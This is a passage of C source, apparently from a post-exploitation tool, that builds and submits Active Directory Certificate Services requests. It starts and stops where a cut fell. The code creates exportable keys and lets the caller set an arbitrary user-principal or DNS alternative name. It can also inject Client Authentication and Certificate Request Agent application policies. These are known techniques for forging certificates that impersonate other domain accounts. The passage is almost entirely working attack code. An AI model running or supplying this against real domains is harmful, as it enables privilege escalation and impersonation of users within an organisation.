HRESULT_FROM_WIN32(result); \\\n\t\tgoto fail; \\\n\t}\t\n#define SAFE_RELEASE( interfacepointer )\t\\\n\tif ( (interfacepointer) != NULL )\t\\\n\t{\t\\\n\t\t(interfacepointer)->lpVtbl->Release(interfacepointer);\t\\\n\t\t(interfacepointer) = NULL;\t\\\n\t}\n#define SAFE_SYS_FREE( string_ptr )\t\\\n\tif ( (string_ptr) != NULL )\t\\\n\t{\t\\\n\t\tOLEAUT32$SysFreeString(string_ptr);\t\\\n\t\t(string_ptr) = NULL;\t\\\n\t}\t\n#define SAFE_LOCAL_FREE( local_ptr ) \\\n\tif (local_ptr) \\\n\t{ \\\n\t\tKERNEL32$LocalFree(local_ptr); \\\n\t\tlocal_ptr = NULL; \\\n\t}\n#define SAFE_INT_FREE( int_ptr ) \\\n\tif (int_ptr) \\\n\t{ \\\n\t\tintFree(int_ptr); \\\n\t\tint_ptr = NULL; \\\n\t}\t\t\n\n\n\n#define PRIVATE_KEY_LENGTH 2048\n#define CERT_REQUEST_TIMEOUT 3000\n#define CERT_REQUEST_RETRIES 3\n\n\nHRESULT _adcs_request_CreatePrivateKey(BOOL bMachine, IX509PrivateKey ** lppPrivateKey)\n{\n\tHRESULT\thr = S_OK;\n\tBSTR bstrProviderName = NULL;\n\n\tCLSID CLSID_CX509PrivateKey = { 0x884e200c, 0x217d, 0x11da, {0XB2, 0XA4, 0x00, 0x0E, 0x7B, 0xBB, 0x2B, 0x09} };\n\tIID IID_IX509PrivateKey = { 0x728ab30c, 0x217d, 0x11da, {0XB2, 0XA4, 0x00, 0x0E, 0x7B, 0xBB, 0x2B, 0x09} };\n\t\n\tSAFE_RELEASE(*lppPrivateKey);\n\thr = OLE32$CoCreateInstance(&CLSID_CX509PrivateKey, NULL, CLSCTX_INPROC_SERVER, &IID_IX509PrivateKey, (LPVOID *)(lppPrivateKey));\n\tCHECK_RETURN_FAIL(\"CoCreateInstance(CLSID_CX509PrivateKey)\", hr);\n\n\t// Force CAPI provider for PFX export compatibility\n\tbstrProviderName = OLEAUT32$SysAllocString(MS_ENHANCED_PROV_W);\n\thr = (*lppPrivateKey)->lpVtbl->put_ProviderName((*lppPrivateKey), bstrProviderName);\n\tCHECK_RETURN_FAIL(\"put_ProviderName\", hr);\n\n\thr = (*lppPrivateKey)->lpVtbl->put_ProviderType((*lppPrivateKey), XCN_PROV_RSA_FULL);\n\tCHECK_RETURN_FAIL(\"put_ProviderType\", hr);\n\n\thr = (*lppPrivateKey)->lpVtbl->put_Length((*lppPrivateKey), PRIVATE_KEY_LENGTH);\n\tCHECK_RETURN_FAIL(\"put_Length\", hr);\n\n\thr = (*lppPrivateKey)->lpVtbl->put_KeySpec((*lppPrivateKey), XCN_AT_KEYEXCHANGE);\n\tCHECK_RETURN_FAIL(\"put_KeySpec\", hr);\n\n\thr = (*lppPrivateKey)->lpVtbl->put_KeyUsage((*lppPrivateKey), XCN_NCRYPT_ALLOW_ALL_USAGES);\n\tCHECK_RETURN_FAIL(\"put_KeyUsage\", hr);\n\n\thr = (*lppPrivateKey)->lpVtbl->put_MachineContext((*lppPrivateKey), (bMachine?VARIANT_TRUE:VARIANT_FALSE));\n\tCHECK_RETURN_FAIL(\"put_MachineContext\", hr);\n\n\thr = (*lppPrivateKey)->lpVtbl->put_ExportPolicy((*lppPrivateKey), XCN_NCRYPT_ALLOW_EXPORT_FLAG | XCN_NCRYPT_ALLOW_PLAINTEXT_EXPORT_FLAG);\n\tCHECK_RETURN_FAIL(\"put_ExportPolicy\", hr);\n\n\thr = (*lppPrivateKey)->lpVtbl->Create((*lppPrivateKey));\n\tCHECK_RETURN_FAIL(\"Create\", hr);\n\n\thr = S_OK;\n\nfail:\n\tSAFE_SYS_FREE(bstrProviderName);\n\n\treturn hr;\n} // end _adcs_request_CreatePrivateKey\n\n\nHRESULT _adcs_request_CreateCertRequest(BOOL bMachine, IX509PrivateKey * pPrivateKey, BSTR bstrTemplate, BSTR bstrSubject, BSTR bstrAltName, BSTR bstrAltUrl, IX509CertificateRequestPkcs10V3 ** lppCertificateRequestPkcs10V3, BOOL addAppPolicy, BOOL dns)\n{\n\tHRESULT\thr = S_OK;\n\tIX500DistinguishedName * pDistinguishedName = NULL;\n\tIAlternativeName * pAlternativeName = NULL;\n\tIAlternativeNames * pAlternativeNames = NULL;\n\tIX509ExtensionAlternativeNames * pExtensionAlternativeNames = NULL;\n\tIX509Extension * pExtension = NULL;\n\tIX509Extensions * pExtensions = NULL;\n\tIX509NameValuePair * pAltNameValuePair = NULL;\n\tIX509NameValuePairs * pNameValuePairs = NULL;\n\tIX509ExtensionTemplateName * pTemplateName = NULL;\n\tIX509ExtensionMSApplicationPolicies * pMSAppPolicies = NULL;\n\tICertificatePolicies * certPolicies = NULL;\n\tICertificatePolicy * certPolicy = NULL;\n\tICertificatePolicy * certPolicyReqAgent = NULL;\n\tIObjectId * objectId_POLICIES = NULL;\n\tIObjectId * objectId_ALLOW_CLIENT = NULL;\n\tIObjectId * objectid_CERTAGENT = NULL;\n\tBSTR bstrAltNameValuePairName = NULL;\n\tBSTR bstrAltNameValuePairValue = NULL;\n\tBSTR OID_APP_CERT_POLICY_ALLOW_CLIENT = NULL;\n\tWCHAR swzAltNamePairValue[MAX_PATH];\n\tLONG index = 0;\n\t\n\tBSTR OID_APP_CERT_POLICIES = OLEAUT32$SysAllocString(L\"1.3.6.1.4.1.311.21.10\");\n\tBSTR OID_APP_CERTAGENT = OLEAUT32$SysAllocString(L\"1.3.6.1.4.1.311.20.2.1\");\n\t\n\tCLSID CLSID_CX509CertificateRequestPkcs10 = { 0x884e2042, 0x217d, 0x11da, {0XB2, 0XA4, 0x00, 0x0E, 0x7B, 0xBB, 0x2B, 0x09} };\n\tIID IID_IX509CertificateRequestPkcs10V3 = { 0x54EA9942, 0x3D66, 0x4530, {0XB7, 0X6E, 0x7C, 0x91, 0x70, 0xD3, 0xEC, 0x52} };\n\n\tCLSID CLSID_CX500DistinguishedName = { 0x884e2003, 0x217d, 0x11da, {0XB2, 0XA4, 0x00, 0x0E, 0x7B, 0xBB, 0x2B, 0x09} };\n\tIID IID_IX500DistinguishedName = { 0x728ab303, 0x217d, 0x11da, {0XB2, 0XA4, 0x00, 0x0E, 0x7B, 0xBB, 0x2B, 0x09} };\n\n\tCLSID CLSID_CAlternativeName = { 0x884e2013, 0x217d, 0x11da, {0XB2, 0XA4, 0x00, 0x0E, 0x7B, 0xBB, 0x2B, 0x09} };\n\tIID IID_IAlternativeName = { 0x728ab313, 0x217d, 0x11da, {0XB2, 0XA4, 0x00, 0x0E, 0x7B, 0xBB, 0x2B, 0x09} };\n\n\tCLSID CLSID_CAlternativeNames = { 0x884e2014, 0x217d, 0x11da, {0XB2, 0XA4, 0x00, 0x0E, 0x7B, 0xBB, 0x2B, 0x09} };\n\tIID IID_IAlternativeNames = { 0x728ab314, 0x217d, 0x11da, {0XB2, 0XA4, 0x00, 0x0E, 0x7B, 0xBB, 0x2B, 0x09} };\n\n\tCLSID CLSID_CX509ExtensionAlternativeNames = { 0x884e2015, 0x217d, 0x11da, {0XB2, 0XA4, 0x00, 0x0E, 0x7B, 0xBB, 0x2B, 0x09} };\n\tIID IID_IX509ExtensionAlternativeNames = { 0x728ab315, 0x217d, 0x11da, {0XB2, 0XA4, 0x00, 0x0E, 0x7B, 0xBB, 0x2B, 0x09} };\n\n\tIID IID_IX509Extension = { 0x728ab30d, 0x217d, 0x11da, {0XB2, 0XA4, 0x00, 0x0E, 0x7B, 0xBB, 0x2B, 0x09} };\n\n\tCLSID CLSID_CX509NameValuePair = { 0x884e203f, 0x217d, 0x11da, {0XB2, 0XA4, 0x00, 0x0E, 0x7B, 0xBB, 0x2B, 0x09} };\n\tIID IID_IX509NameValuePair = { 0x728ab33f, 0x217d, 0x11da, {0XB2, 0XA4, 0x00, 0x0E, 0x7B, 0xBB, 0x2B, 0x09} };\n\n\tCLSID  CLSID_CX509ExtensionMSApplicationPolicies = {0x884e2021,0x217d,0x11da,{0xb2,0xa4,0x00,0x0e,0x7b,0xbb,0x2b,0x09}};\n\tIID IID_IX509ExtensionMSApplicationPolicies = {0x728ab321,0x217d,0x11da,{0xb2,0xa4,0x00,0x0e,0x7b,0xbb,0x2b,0x09}};\n\n\tCLSID CLSID_CCertificatePolicy = {0x884e201e,0x217d,0x11da,{0xb2,0xa4,0x00,0x0e,0x7b,0xbb,0x2b,0x09}};\n\tIID IID_ICertificatePolicy = {0x728ab31e,0x217d,0x11da,{0xb2,0xa4,0x00,0x0e,0x7b,0xbb,0x2b,0x09}};\n\n\tCLSID CLSID_CCertificatePolicies = {0x884e201f,0x217d,0x11da,{0xb2,0xa4,0x00,0x0e,0x7b,0xbb,0x2b,0x09}};\n\tIID IID_ICertificatePolicies = {0x728ab31f,0x217d,0x11da,{0xb2,0xa4,0x00,0x0e,0x7b,0xbb,0x2b,0x09}};\n\n\tCLSID CLSID_CObjectId = {0x884e2000,0x217d,0x11da,{0xb2,0xa4,0x00,0x0e,0x7b,0xbb,0x2b,0x09}};\n\tIID IID_IObjectId = {0x728ab300,0x217d,0x11da,{0xb2,0xa4,0x00,0x0e,0x7b,0xbb,0x2b,0x09}};\n\n\tCLSID CLSID_EKU = {0x884e2010,0x217d,0x11da,{0xb2,0xa4,0x00,0x0e,0x7b,0xbb,0x2b,0x09}};\n\tIID IID_EKU = {0x728ab310,0x217d,0x11da,{0xb2,0xa4,0x00,0x0e,0x7b,0xbb,0x2b,0x09}};\n\n\tCLSID CLSID_TemplateName = {0x884e2011,0x217d,0x11da,{0xb2,0xa4,0x00,0x0e,0x7b,0xbb,0x2b,0x09}};\n\tIID IID_TemplateName = {0x728ab311,0x217d,0x11da,{0xb2,0xa4,0x00,0x0e,0x7b,0xbb,0x2b,0x09}};\n\t\n\t// Create an instance of the CX509CertificateRequestPkcs10 class with the IX509CertificateRequestPkcs10V2 interface\n\tSAFE_RELEASE((*lppCertificateRequestPkcs10V3));\n\thr = OLE32$CoCreateInstance(&CLSID_CX509CertificateRequestPkcs10, NULL, CLSCTX_INPROC_SERVER, &IID_IX509CertificateRequestPkcs10V3, (LPVOID *)lppCertificateRequestPkcs10V3);\n\tCHECK_RETURN_FAIL(\"CoCreateInstance(CLSID_CX509CertificateRequestPkcs10)\", hr);\n\n\t// Initializes the certificate request by using the template name\n\thr = (*lppCertificateRequestPkcs10V3)->lpVtbl->InitializeFromPrivateKey((*lppCertificateRequestPkcs10V3), (bMachine?ContextMachine:ContextUser), pPrivateKey, bstrTemplate);\n\tCHECK_RETURN_FAIL(\"(*lppCertificateRequestPkcs10V3)->lpVtbl->InitializeFromTemplateName()\", hr);\n\n\t// Create an instance of the CX500DistinguishedName class with the IX500DistinguishedName interface\n\tSAFE_RELEASE(pDistinguishedName);\n\thr = OLE32$CoCreateInstance(&CLSID_CX500DistinguishedName, NULL, CLSCTX_INPROC_SERVER, &IID_IX500DistinguishedName, (LPVOID *)&(pDistinguishedName));\n\tCHECK_RETURN_FAIL(\"CoCreateInstance(CLSID_CX500DistinguishedName)\", hr);\n\n\thr = OLE32$CoCreateInstance(&CLSID_CObjectId, NULL, CLSCTX_INPROC_SERVER, &IID_IObjectId, (LPVOID *) &objectId_POLICIES);\n\tCHECK_RETURN_FAIL(\"CoCreateInstance(CLSID_OBJECTID)\", hr);\n\n\t\thr = OLE32$CoCreateInstance(&CLSID_CObjectId, NULL, CLSCTX_INPROC_SERVER, &IID_IObjectId, (LPVOID *) &objectId_ALLOW_CLIENT);\n\tCHECK_RETURN_FAIL(\"CoCreateInstance(CLSID_OBJECTID)\", hr);\n\n\tBETTER_CHECK_RETURN_FAIL(OLE32$CoCreateInstance(&CLSID_CObjectId, NULL, CLSCTX_INPROC_SERVER, &IID_IObjectId, (LPVOID *) &objectid_CERTAGENT));\n\t\n\n\t// Encode the subject name\n\thr = pDistinguishedName->lpVtbl->Encode(pDistinguishedName, bstrSubject, XCN_CERT_NAME_STR_NONE);\n\tif (FAILED(hr))\n\t{\n\t\thr = pDistinguishedName->lpVtbl->Encode(pDistinguishedName, bstrSubject, XCN_CERT_NAME_STR_SEMICOLON_FLAG);\n\t\tCHECK_RETURN_FAIL(\"pDistinguishedName->lpVtbl->Encode(XCN_CERT_NAME_STR_SEMICOLON_FLAG)\", hr);\n\t}\n\t\n\t// Set the subject\n\thr = (*lppCertificateRequestPkcs10V3)->lpVtbl->put_Subject((*lppCertificateRequestPkcs10V3), pDistinguishedName);\n\tCHECK_RETURN_FAIL(\"(*lppCertificateRequestPkcs10V3)->lpVtbl->put_Subject()\", hr);\n\n\t// Set the alt name\n\tif ( !IsNullOrEmptyW(bstrAltName) )\n\t{\t\t\n\t\t// Format 1 - required for the CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT scenario\n\t\t// Create an instance of the CAlternativeNames class with the IAlternativeNames interface\n\t\tSAFE_RELEASE(pAlternativeNames);\n\t\thr = OLE32$CoCreateInstance(&CLSID_CAlternativeNames, NULL, CLSCTX_INPROC_SERVER, &IID_IAlternativeNames, (LPVOID *)&(pAlternativeNames));\n\t\tCHECK_RETURN_FAIL(\"CoCreateInstance(CLSID_CAlternativeNames)\", hr);\n\t\t// Create an instance of the CX509ExtensionAlternativeNames class with the IX509ExtensionAlternativeNames interface\n\t\tSAFE_RELEASE(pExtensionAlternativeNames);\n\t\thr = OLE32$CoCreateInstance(&CLSID_CX509ExtensionAlternativeNames, NULL, CLSCTX_INPROC_SERVER, &IID_IX509ExtensionAlternativeNames, (LPVOID *)&(pExtensionAlternativeNames));\n\t\tCHECK_RETURN_FAIL(\"CoCreateInstance(CLSID_CX509ExtensionAlternativeNames)\", hr);\n\n\t\t// Add UPN or DNS SAN\n\t\t// Create an instance of the CAlternativeName class with the IAlternativeName interface\n\t\tSAFE_RELEASE(pAlternativeName);\n\t\thr = OLE32$CoCreateInstance(&CLSID_CAlternativeName, NULL, CLSCTX_INPROC_SERVER, &IID_IAlternativeName, (LPVOID *)&(pAlternativeName));\n\t\tCHECK_RETURN_FAIL(\"CoCreateInstance(CLSID_CAlternativeName)\", hr);\n\t\t// Initialize the AlternativeName\n\t\thr = pAlternativeName->lpVtbl->InitializeFromString(pAlternativeName, (dns) ? XCN_CERT_ALT_NAME_DNS_NAME : XCN_CERT_ALT_NAME_USER_PRINCIPLE_NAME, bstrAltName);\n\t\tCHECK_RETURN_FAIL(\"pAlternativeName->lpVtbl->InitializeFromString()\", hr);\n\t\t// Add the AlternativeName to the collection of AlternativeNames\n\t\thr = pAlternativeNames->lpVtbl->Add(pAlternativeNames, pAlternativeName);\n\t\tCHECK_RETURN_FAIL(\"pAlternativeNames->lpVtbl->Add()\", hr);\n\n\t\tif ( !IsNullOrEmptyW(bstrAltUrl) )\n\t\t{\n\t\t\t// Add URL SAN\n\t\t\t// Create an instance of the CAlternativeName class with the IAlternativeName interface\n\t\t\tSAFE_RELEASE(pAlternativeName);\n\t\t\thr = OLE32$CoCreateInstance(&CLSID_CAlternativeName, NULL, CLSCTX_INPROC_SERVER, &IID_IAlternativeName, (LPVOID *)&(pAlternativeName));\n\t\t\tCHECK_RETURN_FAIL(\"CoCreateInstance(CLSID_CAlternativeName)\", hr);\n\t\t\t// Initialize the AlternativeName\n\t\t\thr = pAlternativeName->lpVtbl->InitializeFromString(pAlternativeName, XCN_CERT_ALT_NAME_URL, bstrAltUrl);\n\t\t\tCHECK_RETURN_FAIL(\"pAlternativeName->lpVtbl->InitializeFromString()\", hr);\n\t\t\t// Add the AlternativeName to the collection of AlternativeNames\n\t\t\thr = pAlternativeNames->lpVtbl->Add(pAlternativeNames, pAlternativeName);\n\t\t\tCHECK_RETURN_FAIL(\"pAlternativeNames->lpVtbl->Add()\", hr);\n\t\t}\n\n\t\t// Initialize the X509ExtensionAlternativeNames collection from the AlternativeNames collection\n\t\thr = pExtensionAlternativeNames->lpVtbl->InitializeEncode(pExtensionAlternativeNames, pAlternativeNames);\n\t\tCHECK_RETURN_FAIL(\"pExtensionAlternativeNames->lpVtbl->InitializeEncode()\", hr);\n\t\t// Get the X509Extension interface of the X509ExtensionAlternativeNames\n\t\tSAFE_RELEASE(pExtension);\n\t\thr = pExtensionAlternativeNames->lpVtbl->QueryInterface( pExtensionAlternativeNames, &IID_IX509Extension, (VOID **)&pExtension);\n\t\tCHECK_RETURN_FAIL(\"pExtensionAlternativeNames->lpVtbl->QueryInterface()\", hr);\n\t\t// Get the collection of extensions included in the certificate request\n\t\tSAFE_RELEASE(pExtensions);\n    \thr = (*lppCertificateRequestPkcs10V3)->lpVtbl->get_X509Extensions((*lppCertificateRequestPkcs10V3), &pExtensions);\n    \tCHECK_RETURN_FAIL(\"(*lppCertificateRequestPkcs10V3)->lpVtbl->get_X509Extensions()\", hr);\n\t\t// Add the X509ExtensionAlternativeNames collection to the certificate request's collection of extensions\n\t\thr = pExtensions->lpVtbl->Add(pExtensions, pExtension);\n\t\tCHECK_RETURN_FAIL(\"pExtensions->lpVtbl->Add()\", hr);\n\n\t\t// Format 2 - required for the EDITF_ATTRIBUTESUBJECTALTNAME2 scenario\n\t\t// Create an instance of the CLSID_CX509NameValuePair class with the IID_IX509NameValuePair interface\n\t\tSAFE_RELEASE(pAltNameValuePair);\n\t\thr = OLE32$CoCreateInstance(&CLSID_CX509NameValuePair, NULL, CLSCTX_INPROC_SERVER, &IID_IX509NameValuePair, (LPVOID *)&(pAltNameValuePair));\n\t\tCHECK_RETURN_FAIL(\"CoCreateInstance(CLSID_CX509NameValuePair)\", hr);\n\t\t// Create the AltNamePair Name\n\t\tSAFE_SYS_FREE(bstrAltNameValuePairName);\n\t\tbstrAltNameValuePairName = OLEAUT32$SysAllocString(L\"SAN\");\n\t\t// Create the AltNamePair Value\n\t\tMSVCRT$memset(swzAltNamePairValue,0,MAX_PATH*sizeof(WCHAR));\n\t\tif ( !IsNullOrEmptyW(bstrAltUrl) ) {\n\t\t\tMSVCRT$_snwprintf(swzAltNamePairValue, MAX_PATH - 1, L\"%s:%s&url=%s\", (dns) ? L\"dns\" : L\"upn\", bstrAltName, bstrAltUrl);\n\t\t\tswzAltNamePairValue[MAX_PATH - 1] = L'\\0';\n\t\t}\n\t\telse {\n\t\t\tMSVCRT$_swprintf(swzAltNamePairValue, L\"%s=%s\",(dns) ? L\"dns\" : L\"upn\", bstrAltName);\n\t\t}\n\t\tSAFE_SYS_FREE(bstrAltNameValuePairValue);\n\t\tbstrAltNameValuePairValue = OLEAUT32$SysAllocString(swzAltNamePairValue);\n\t\t// Initialize the AltNamePair\n        pAltNameValuePair->lpVtbl->Initialize(pAltNameValuePair, bstrAltNameValuePairName, bstrAltNameValuePairValue);\n\t\t// Get the collection of NameValuePairs included in the certificate request\n\t\tSAFE_RELEASE(pNameValuePairs);\n    \thr = (*lppCertificateRequestPkcs10V3)->lpVtbl->get_NameValuePairs((*lppCertificateRequestPkcs10V3), &pNameValuePairs);\n    \tCHECK_RETURN_FAIL(\"(*lppCertificateRequestPkcs10V3)->lpVtbl->get_NameValuePairs()\", hr);\n\t\t// Add the X509NameValuePair to the certificate request's collection of name value pairs\n\t\thr = pNameValuePairs->lpVtbl->Add(pNameValuePairs, pAltNameValuePair);\n\t\tCHECK_RETURN_FAIL(\"pNameValuePairs->lpVtbl->Add()\", hr);\n\t}\n\tif(addAppPolicy)\n\t{\n\t\thr = objectId_POLICIES->lpVtbl->InitializeFromValue(objectId_POLICIES, OID_APP_CERT_POLICIES);\n\t\tCHECK_RETURN_FAIL(\" objectId_ALLOW_CLIENT->lpVtbl->InitializeFromValu\", hr);\n\t\t//First Check if the base extension is already there\n\t\tSAFE_RELEASE(pExtensions);\n    \thr = (*lppCertificateRequestPkcs10V3)->lpVtbl->get_X509Extensions((*lppCertificateRequestPkcs10V3), &pExtensions);\n    \tCHECK_RETURN_FAIL(\"(*lppCertificateRequestPkcs10V3)->lpVtbl->get_X509Extensions()\", hr);\n\t\thr = pExtensions->lpVtbl->get_IndexByObjectId(pExtensions, objectId_POLICIES, &index);\n\t\tif(hr == S_OK)\n\t\t{\n\t\t\thr = pExtensions->lpVtbl->get_ItemByIndex(pExtensions, index, (IX509Extension**)&pMSAppPolicies);\n\t\t\tCHECK_RETURN_FAIL(\"pExtensions->lpVtbl->get_ItemByIndex\", hr);\n\t\t\tinternal_printf(\"Found App Policy at index %d, removing it\\n\", index);\n\t\t\thr = pExtensions->lpVtbl->Remove(pExtensions, index);\n\t\t\tCHECK_RETURN_FAIL(\"pExtensions->lpVtbl->Remove\", hr);\n\t\t}\n\t\tinternal_printf(\"Now Creating App policy\\n\");\n\t\thr = OLE32$CoCreateInstance(&CLSID_CX509ExtensionMSApplicationPolicies, NULL, CLSCTX_INPROC_SERVER, &IID_IX509ExtensionMSApplicationPolicies, (LPVOID *)&pMSAppPolicies);\n\t\tCHECK_RETURN_FAIL(\"CoCreateInstance(CLSID_CX509ExtensionMSApplicationPolicies)\", hr);\n\t\thr = OLE32$CoCreateInstance(&CLSID_CCertificatePolicies, NULL, CLSCTX_INPROC_SERVER, &IID_ICertificatePolicies, (LPVOID*)&certPolicies);\n\t\tCHECK_RETURN_FAIL(\"CoCreateInstance(CLSID_CCertificatePolicies)\", hr);\n\t\thr = OLE32$CoCreateInstance(&CLSID_CCertificatePolicy, NULL, CLSCTX_INPROC_SERVER, &IID_ICertificatePolicy, (LPVOID*) &certPolicy);\n\t\tCHECK_RETURN_FAIL(\"CoCreateInstance(CLSID_CCertificatePolicy)\", hr);\n\t\tOID_APP_CERT_POLICY_ALLOW_CLIENT = OLEAUT32$SysAllocString(L\"1.3.6.1.5.5.7.3.2\");\n\t\thr = objectId_ALLOW_CLIENT->lpVtbl->InitializeFromValue(objectId_ALLOW_CLIENT, OID_APP_CERT_POLICY_ALLOW_CLIENT);\n\t\tCHECK_RETURN_FAIL(\" objectId_ALLOW_CLIENT->lpVtbl->InitializeFromValu\", hr);\n\t\tSAFE_SYS_FREE(OID_APP_CERT_POLICY_ALLOW_CLIENT);\n\t\thr = certPolicy->lpVtbl->Initialize(certPolicy, objectId_ALLOW_CLIENT);\n\t\tCHECK_RETURN_FAIL(\" certPolicy->lpVtbl->Initialize\", hr);\n\t\thr = certPolicies->lpVtbl->Add(certPolicies, certPolicy);\n\t\tCHECK_RETURN_FAIL(\" certPolicies->lpVtbl->Add\", hr);\n\t\t//Cert Request\n\t\thr = OLE32$CoCreateInstance(&CLSID_CCertificatePolicy, NULL, CLSCTX_INPROC_SERVER, &IID_ICertificatePolicy, (LPVOID*) &certPolicyReqAgent);\n\t\tCHECK_RETURN_FAIL(\"CoCreateInstance(CLSID_CCertificatePolicy)\", hr);\n\t\thr = objectid_CERTAGENT->lpVtbl->InitializeFromValue(objectid_CERTAGENT, OID_APP_CERTAGENT);\n\t\tCHECK_RETURN_FAIL(\" objectid_SMARTCARD->lpVtbl->InitializeFromValu\", hr);\n\t\tSAFE_SYS_FREE(OID_APP_CERTAGENT);\n\t\thr = certPolicyReqAgent->lpVtbl->Initialize(certPolicyReqAgent, objectid_CERTAGENT);\n\t\tCHECK_RETURN_FAIL(\" certPolicy->lpVtbl->Initialize\", hr);\n\t\thr = certPolicies->lpVtbl->Add(certPolicies, certPolicyReqAgent);\n\t\tCHECK_RETURN_FAIL(\" certPolicies->lpVtbl->Add\", hr);\n\t\thr = pMSAppPolicies->lpVtbl->InitializeEncode(pMSAppPolicies, certPolicies);\n\t\tCHECK_RETURN_FAIL(\"pMSAppPolicies->lpVtbl->InitializeEncode\", hr);\n\t\tSAFE_RELEASE(pExtension);\n\t\thr = pMSAppPolicies->lpVtbl->QueryInterface( pMSAppPolicies, &IID_IX509Extension, (VOID **)&pExtension);\n\t\tCHECK_RETURN_FAIL(\"pExtensionAlternativeNames->lpVtbl->QueryInterface()\", hr);\n\t\thr = pExtensions->lpVtbl->Add(pExtensions, pExtension);\n\t\tCHECK_RETURN_FAIL(\"pExtensions->lpVtbl->Add()\", hr);\n\t}\n\n\thr = S_OK;\n\nfail:\n\n\t//saferelease all the objects\n\tSAFE_RELEASE(pNameValuePairs);\n\tSAFE_RELEASE(pAltNameValuePair);\n\tSAFE_SYS_FREE(bstrAltNameValuePairValue);\n\tSAFE_SYS_FREE(bstrAltNameValuePairName);\n\tSAFE_SYS_FREE(OID_APP_CERT_POLICY_ALLOW_CLIENT);\n\tSAFE_SYS_FREE(OID_APP_CERT_POLICIES);\n\tSAFE_SYS_FREE(OID_APP_CERTAGENT);\n\tSAFE_RELEASE(objectid_CERTAGENT);\n\tSAFE_RELEASE(objectId_POLICIES);\n\tSAFE_RELEASE(objectId_ALLOW_CLIENT);\n\tSAFE_RELEASE(pExtensions);\n\tSAFE_RELEASE(pExtension);\n\tSAFE_RELEASE(pMSAppPolicies);\n\tSAFE_RELEASE(certPolicies);\n\tSAFE_RELEASE(certPolicy);\n\tSAFE_RELEASE(certPolicyReqAgent);\n\tSAFE_RELEASE(pExtensionAlternativeNames);\n\tSAFE_RELEASE(pAlternativeNames);\n\tSAFE_RELEASE(pAlternativeName);\n\tSAFE_RELEASE(pDistinguishedName);\n\n\treturn hr;\n} // end _adcs_request_CreateCertRequest\n\n\nHRESULT _adcs_request_CreateEnrollment(IX509CertificateRequestPkcs10V3 * pCertificateRequestPkcs10V3, IX509Enrollment ** lppEnrollment)\n{\n\tHRESULT\thr = S_OK;\n\t\n\tIX509CertificateRequest * pCertificateRequest = NULL;\n\n\tCLSID CLSID_CX509Enrollment = { 0x884e2046, 0x217d, 0x11da, {0XB2, 0XA4, 0x00, 0x0E, 0x7B, 0xBB, 0x2B, 0x09} };\n\tIID IID_IX509Enrollment = { 0x728ab346, 0x217d, 0x11da, {0XB2, 0XA4, 0x00, 0x0E, 0x7B, 0xBB, 0x2B, 0x09} };\n\n\tIID IID_IX509CertificateRequest = { 0x728ab341, 0x217d, 0x11da, {0XB2, 0XA4, 0x00, 0x0E, 0x7B, 0xBB, 0x2B, 0x09} };\n\tHANDLE hFile = NULL;\n\tBSTR value;\n\tDWORD len = 0;\n\t// Create an instance of the CX509Enrollment class with the IX509Enrollment interface\n\tSAFE_RELEASE((*lppEnrollment));\n\thr = OLE32$CoCreateInstance(&CLSID_CX509Enrollment, NULL, CLSCTX_INPROC_SERVER, &IID_IX509Enrollment, (LPVOID *)lppEnrollment);\n\tCHECK_RETURN_FAIL(\"CoCreateInstance(CLSID_CX509Enrollment)\", hr);\n\t\n\tSAFE_RELEASE(pCertificateRequest);\n\thr = pCertificateRequestPkcs10V3->lpVtbl->QueryInterface(pCertificateRequestPkcs10V3, &IID_IX509CertificateRequest, (VOID **)&(pCertificateRequest));\n\tCHECK_RETURN_FAIL(\"pCertificateRequestPkcs10V3->lpVtbl->QueryInterface()\", hr);\n\n\t// Initialize the enrollment object with the certificate request\n\thr = (*lppEnrollment)->lpVtbl->InitializeFromRequest((*lppEnrollment), pCertificateRequest);\n\tCHECK_RETURN_FAIL(\"(*lppEnrollment)->lpVtbl->InitializeFromRequest()\", hr);\n\t\n\tpCertificateRequestPkcs10V3->lpVtbl->Encode(pCertificateRequestPkcs10V3);\n\tpCertificateRequestPkcs10V3->lpVtbl->get_RawData(pCertificateRequestPkcs10V3, XCN_CRYPT_STRING_BASE64REQUESTHEADER, &value);\n\thFile = KERNEL32$CreateFileA(\"debug.csr\", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);\n\tlen = OLEAUT32$SysStringLen(value);\n\tKERNEL32$WriteFile(hFile, value, len *2, NULL , NULL);\n\tKERNEL32$CloseHandle(hFile);\n\thr = S_OK;\n\nfail:\n\n\tSAFE_RELEASE(pCertificateRequest);\n\n\treturn hr;\n} \n\n\nHRESULT _adcs_request_SubmitEnrollment(IX509Enrollment * pEnrollment, BSTR bstrCA, BSTR * lpbstrCertificate)\n{\n\tHRESULT\thr = S_OK;\n\tBSTR bstrEnrollmentRequest = NULL;\n\tICertRequest2* pCertRequest2 = NULL;\n\tLONG pDisposition = 0;\n\tBSTR bstrDispositionMessage = NULL;\n\tLONG pRequestId = 0;\n\n\tCLSID CLSID_CCertRequest = { 0x98aff3f0, 0x5524, 0x11d0, {0X88, 0X12, 0x00, 0xa0, 0xc9, 0x03, 0xb8, 0x3c} };\n\tIID\tIID_ICertRequest2 = { 0xA4772988, 0x4A85, 0x4FA9, {0x82, 0x4E, 0xB5, 0xCF, 0x5C, 0x16, 0x40, 0x5A} };\n\n\t// Create the enrollment request\n\tSAFE_SYS_FREE(bstrEnrollmentRequest);\n\thr = pEnrollment->lpVtbl->CreateRequest(pEnrollment, XCN_CRYPT_STRING_BASE64, &bstrEnrollmentRequest);\n\tCHECK_RETURN_FAIL(\"pEnrollment->lpVtbl->CreateRequest()\", hr);\n\n\t// Create an instance of the CCertRequest class with the ICertRequest2 interface\n\tSAFE_RELEASE(pCertRequest2);\n\thr = OLE32$CoCreateInstance(&CLSID_CCertRequest, NULL, CLSCTX_INPROC_SERVER, &IID_ICertRequest2, (LPVOID *)&(pCertRequest2));\n\tCHECK_RETURN_FAIL(\"CoCreateInstance(CLSID_CX509CertificateRequestPkcs10)\", hr);\n\n\t// Submit the cert request message to the CA\n\thr = pCertRequest2->lpVtbl->Submit(pCertRequest2, CR_IN_BASE64 | CR_IN_FORMATANY, bstrEnrollmentRequest, NULL, bstrCA, &pDisposition);   \n\tCHECK_RETURN_FAIL(\"pCertRequest2->lpVtbl->Submit()\", hr);\n\n\t// Get the request ID\n\thr = pCertRequest2->lpVtbl->GetRequestId(pCertRequest2, &pRequestId);   \n\tCHECK_RETURN_FAIL(\"pCertRequest2->lpVtbl->GetRequestId()\", hr);\n\n\t// Check the status of our request\n\tfor( int nRetry = 0; (nRetry < 